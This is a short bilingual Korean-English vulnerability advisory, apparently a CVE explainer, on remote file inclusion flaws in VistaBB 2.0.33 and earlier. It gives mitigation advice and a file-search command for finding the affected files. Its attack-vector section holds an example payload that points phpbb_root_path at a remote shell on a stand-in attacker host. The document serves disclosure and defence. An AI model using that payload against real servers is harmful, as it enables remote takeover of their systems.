🇰🇷 한글 설명
VistaBB 2.0.33 이전 버전의 PHP 파일들에 원격 파일 포함(RFI) 취약점이 존재하여, phpbb_root_path 매개변수를 통해 공격자가 악의적인 PHP 코드를 실행할 수 있습니다. includes/functions_mod_user.php와 includes/functions_portal.php 파일이 주로 영향을 받습니다.
💡 쉬운 설명
VistaBB라는 게시판 프로그램에서 공격자가 특정 매개변수를 조작하여 악의적인 코드를 서버에서 실행할 수 있는 문제가 있었습니다. 웹 주소창에 악의적인 경로를 입력하는 것만으로 서버를 장악할 수 있었습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in VistaBB 2.0.33 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter in (1) includes/functions_mod_user.php or (2) includes/functions_portal.php.
📍 영향받는 시스템
VistaBB 2.0.33 및 이전 모든 버전
⚔️ 공격 벡터
phpbb_root_path 파라미터에 외부 PHP 파일 URL을 입력하여 원격 코드 실행 (예: ?phpbb_root_path=http://attacker.com/shell.php)
🛡️ 대응 방법
VistaBB를 최신 버전으로 업그레이드하거나, includes/functions_mod_user.php와 functions_portal.php에서 phpbb_root_path 입력값 검증 로직 추가
🔧 검증 코드
발견된 파일이 있으면 해당 파일의 버전을 확인하고, VistaBB 2.0.33 이하일 경우 즉시 업그레이드가 필요합니다.
find /var/www -type f \( -name 'functions_mod_user.php' -o -name 'functions_portal.php' \) 2>/dev/null | head -10